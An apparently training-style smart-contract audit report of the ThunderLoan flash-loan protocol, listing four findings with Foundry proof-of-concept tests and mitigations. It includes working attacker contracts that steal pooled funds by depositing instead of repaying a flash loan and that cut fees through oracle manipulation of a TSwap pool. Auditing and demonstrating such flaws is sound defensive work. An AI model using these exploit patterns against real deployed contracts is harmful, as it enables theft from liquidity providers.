ThunderLoan Audit Report

Version 1.0

Cyfrin.io

October 21, 2024

ThunderLoan Audit Report

Dheeraj K

Oct 21, 2024

Prepared by: Dheeraj Lead Auditors:

- Dheeraj Kumar

Table of Contents

Protocol Summary

ThunderLoan is a protocol that allows user to take out flashloan and also provides liquidity providers a way to earn money off their capital. Liquidity providers can `deposit` their assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans.

Disclaimer

Dheeraj & team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6

Scope

```
./src/
#-- interfaces
|    #-- IFlashLoanReceiver.sol
|    #-- IPoolFactory.sol
|    #-- ITSwapPool.sol
|    #-- IThunderLoan.sol
#-- protocol
|    #-- AssetToken.sol
|    #-- OracleUpgradeable.sol
|    #-- ThunderLoan.sol
#-- upgradedProtocol
     #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
- User: A user who takes out flash loans from the protocol.

Executive Summary

Issues found

Severity	Number of issues found
High	3
Medium	1
Low	0
Gas	0
Informational	0
Total	4

Findings

High

[H-1] Unnecessary `ThunderLoan::updateExchangeRate` in the `deposit` function sets high fees and incorrect exchange rate, which prevents liquidity providers from redeeming funds

Description: In the Thunderloan protocol, the `exchangeRate` is responsible for managing the exchange between the asset token and the underlying token, effectively tracking the fees owed to liquidity providers. However, the `exchangeRate` is unnecessarily updated in the `deposit` function, despite no fees being collected during deposits. This results in an inaccurate exchange rate and has two major consequences: liquidity providers (LPs) are unable to redeem their funds, and the fee calculation is incorrect, leading to potentially misrepresented fees.

```
    function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);

        // @audit-high the exchange rate should not be updated here
@>      uint256 calculatedFee = getCalculatedFee(token, amount);
@>      assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

Impact: There are several impacts due to this:

1. The `redeem` function is blocked, as the incorrect `exchangeRate` signifies the protocol owes more tokens than it has.
2. The rewards are incorrectly calculated, this leads to the liquidity providers potentially getting way more than deserved.

Proof of Concept:

1. LP deposits
2. User takes out a flash loan
3. It is now impossible for LP to redeem

Proof of Code

Add the following test in `ThunderLoanTest.t.sol`

```
    function testRedeemAfterDeposit() setAllowedToken hasDeposits
        public {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended Mitigation: Remove the block of code that updates the `exchangeRate` in the `deposit` function.

```
-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);
```

[H-2] Flashloan repayment using `ThunderLoan::deposit` lets the borrower steal funds

Description: When a user borrows funds using the `flashloan` function, they are expected to call the `repay` method to return the borrowed amount. However, instead of invoking repay, the user can call the `deposit` method. Both methods transfer funds to the `AssetToken` contract, but the `deposit` method incorrectly registers the user as a liquidity provider and rewards them with liquidity tokens, which can be used to redeem the deposited amount.

Since the `flashloan` function validates repayment by checking the `AssetToken` contract's balance (without distinguishing between `deposit` and `repay`), this condition is met when funds are deposited, despite no actual loan repayment. This creates a loophole where users can avoid paying back the loan and, in turn, receive liquidity tokens that allow them to redeem funds they should have repaid.

Impact: Users can exploit the `flashloan` by calling `deposit` instead of `repay`, falsely fulfilling the repayment condition and redeeming funds. This could result in draining the entire liquidity of the protocol(one AssetToken at a time).

Proof of Concept: Follow the following steps:

1. User takes a `flashloan`
2. The receiver contract that implements the `executeOperation` function calls the `deposit` method with borrowed money and fee, getting liquidity tokens in return
3. The `AssetToken` contract balance is updated, which by-pass the check for repayment
4. The user `redeem` the liquidity tokens for `AssetToken`

Proof of Code

Place the following receiver contract for flashloan in `ThunderLoan.t.sol`.

```
contract DepositOverRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken assetToken;
    IERC20 s_token;

    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        assetToken = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        // deposit funds instead of Repay
        thunderLoan.deposit(IERC20(token), amount + fee);
        return true;
    }

    function redeem() public {
        thunderLoan.redeem(s_token, assetToken.balanceOf(address(this))
            );
    }
}
```

Update the following test in `ThunderLoan.t.sol`

```
    function testUseDepositInsteadOfRepayToStealFunds() public
        setAllowedToken hasDeposits {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA,
```

```
            amountToBorrow);
        DepositOverRepay executorContract = new DepositOverRepay(
            address(thunderLoan));
        tokenA.mint(address(executorContract), fee); // for fee

        // take flashloan -> deposits instead of repay
        thunderLoan.flashloan(address(executorContract), tokenA,
            amountToBorrow, "");

        // redeem deposited funds
        executorContract.redeem();
        vm.stopPrank();

        assert(tokenA.balanceOf(address(executorContract)) >
            amountToBorrow + fee);
    }
```

Recommended Mitigation: A check could be implemented to keep the block.number of `flashloan` and `deposit` distinguished. Thus, making it impossible to take a `flashloan` and make a `deposit` in the same block.

[H-3] Storage collision between `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning` due to contract upgrades freezes protocol

Description: In the orignal `ThunderLoan` contract, the two variables are in the following order:

```
    uint256 private s_feePrecision;
    uint256 private s_flashLoanFee; // 0.3% ETH fee
```

However, in the upgraded `ThunderLoanUpgraded`, the order changes to:

```
    uint256 private s_flashLoanFee; // 0.3% ETH fee
    uint256 public constant FEE_PRECISION = 1e18;
```

Since Solidity identifies variables by storage slots rather than by name, after the upgrade, the `s_flashLoanFee` will read the value originally stored in `s_feePrecision`. Reordering variables or removing them (like replacing with constants) shifts the storage layout, causing variables to incorrectly reference old storage slots.

Impact: After the upgrade, the `s_flashLoanFee` will read the value of `s_feePrecision`. This means that the users who will take flash loan after the upgrade would be charged incorrect fees.

Misaligned storage for `s_currentlyFlashLoaning` may freeze the protocol, as the contract can no longer properly track active flash loans.

Proof of Concept:

Proof of Code

Add the following code in `ThunderLoan.t.sol`

```

import {ThunderLoanUpgraded} from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.

function testUpgradeBreaksStorage() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        // deploy new implementation
        ThunderLoanUpgraded thunderLoanUpgraded = new
            ThunderLoanUpgraded();
        // set newImplementation
        thunderLoan.upgradeToAndCall(address(thunderLoanUpgraded), "");
        vm.stopPrank();
        uint256 feeAfterUpgrade = thunderLoan.getFee();

        console2.log("Fee Before upgrade: ", feeBeforeUpgrade); //
            0.003000000000000000
        console2.log("Fee After upgrade: ", feeAfterUpgrade);   //
            1.000000000000000000

        assert(feeAfterUpgrade != feeBeforeUpgrade);
    }
```

You could `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage` to see the storage layout of the two contracts.

Recommended Mitigation: If you want to remove the storage variable, then keep the storage slot blank so as to not mess the storage order.

```

-   uint256 private s_flashLoanFee; // 0.3% ETH fee
-   uint256 public constant FEE_PRECISION = 1e18;
+   uint256 private s_blank;
+   uint256 private s_flashLoanFee; // 0.3% ETH fee
+   uint256 public constant FEE_PRECISION = 1e18;
```

Medium

[M-1] Using TSwap as a price oracle leads to price and oracle manipulation attacks

Description: TSwap is a constant product `x * y = k` formula based AMM. The price of a token is determined by the reserves of the tokens in the pool. Due to this, it becomes easy for malicious actors to manipulate the price of a token by buying or selling a large amount of token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers fees will be significantly reduced.

Proof of Concept: The following happens in 1 transaction.

1. User calls `ThunderLoan::flashloan` for 1000 `tokenA`. The fee amount charged is original `fee1`. During the flash loan, they do the following:
   i. User sells 1000 `tokenA`, tanking the price
   ii. Instead of repaying right away, the user takes out another flash loan for another 1000 `tokenA`.
   iii. Since `ThunderLoan` calculates price based on the `TSwapPool` the second flash loan is substantially cheaper.

```
    function getPriceInWeth(address token) public view returns (uint256
        ) {
        address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(
            token);
        return ITSwapPool(swapPoolOfToken).getPriceOfOnePoolTokenInWeth
            ();
    }
```

```
iii. The user then repays the first flash loan and then the second.
```

Proof of Code

Add the following `MaliciousFlashReceiverContract` in `ThunderLoan.t.sol`

```
contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    BuffMockTSwap tSwapPool;
    address repayAddress;
    bool attacked;
    uint256 public firstFlashLoanFee;
    uint256 public secondflashLoanFeeFee;

    constructor(address _thunderLoan, address _tSwapPool, address
        _repayAddress) {
        thunderLoan = ThunderLoan(_thunderLoan);
```

```
        tSwapPool = BuffMockTSwap(_tSwapPool);
        repayAddress = _repayAddress;
    }

    // 1. Swap TokenA borrowed for WETH
    // 2. Take out another flash loan
    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            // Swap tokenA for WETH & take another FLASH LOAN!!!
            firstFlashLoanFee = fee;
            attacked = true;
            // get amount of WETH in return for tokenA
            uint256 wethAmount = tSwapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            // token approval to TSwapPool
            IERC20(token).approve(address(tSwapPool), 50e18);

            // Swap => Should tank the price
            tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethAmount, block.timestamp);
            // From 100 WETH && 100 tokenA
            // To ?? WETH && 150 tokenA

            // call flashLoan again
            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");

            // IERC20(token).approve(address(thunderLoan), amount + fee
                );
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(repayAddress, amount + fee);
        } else {
            // calculate the FEE and REPAY!!!
            secondflashLoanFeeFee = fee;
            // repay
            IERC20(token).approve(address(thunderLoan), amount + fee);
            thunderLoan.repay(IERC20(token), amount + fee);
        }
        return true;
    }
}
```

Add the following test in `ThunderLoan.t.sol`

```
    function testOracleManipulation() public {
        // 1. Setup contracts...
        thunderLoan = new ThunderLoan();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));

        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(
            address(weth));
        tokenA = new ERC20Mock();
        // TSwap pool for WETH / TokenA
        address tswapPool = poolFactory.createPool(address(tokenA));
        BuffMockTSwap tSwap = BuffMockTSwap(tswapPool);
        thunderLoan.initialize(address(poolFactory));

        // 2. Provide liquidity to TSwap
        uint256 INITIAL_LIQUIDITY = 100e18;
        vm.startPrank(liquidityProvider);
        weth.mint(liquidityProvider, INITIAL_LIQUIDITY);
        weth.approve(tswapPool, INITIAL_LIQUIDITY);
        tokenA.mint(liquidityProvider, INITIAL_LIQUIDITY);
        tokenA.approve(tswapPool, INITIAL_LIQUIDITY);

        tSwap.deposit(INITIAL_LIQUIDITY, INITIAL_LIQUIDITY,
            INITIAL_LIQUIDITY, block.timestamp);
        vm.stopPrank();
        // Ratio: 100 WETH : 100 tokenA
        // Price => 1 : 1

        // 3. Fund ThunderLoan
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, INITIAL_LIQUIDITY * 10);
        tokenA.approve(address(thunderLoan), INITIAL_LIQUIDITY * 10);
        thunderLoan.deposit(tokenA, INITIAL_LIQUIDITY * 10);
        vm.stopPrank();

        // 4. Taking out two flash loans
        //      i. Take out flash loan for 50 tokenA
        //     ii. Take out another flash loan of 50 tokenA

        uint256 normalFee = thunderLoan.getCalculatedFee(tokenA, 100e18
            );
        console2.log("Normal Fee: ", normalFee);

        uint256 amountToBorrow = 50e18;
        MaliciousFlashLoanReceiver flashLoanReceiver = new
            MaliciousFlashLoanReceiver(
```

```
            address(thunderLoan), tswapPool, address(thunderLoan.
                getAssetFromToken(tokenA))
        );

        vm.startPrank(user);
        tokenA.mint(address(flashLoanReceiver), 100e18); // to pay fees
        thunderLoan.flashloan(address(flashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flashLoanReceiver.firstFlashLoanFee() +
            flashLoanReceiver.secondflashLoanFeeFee();
        console2.log("Attack Fee: ", attackFee);

        assert(attackFee < normalFee);
    }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with a Uniswap TWAP fallback oracle.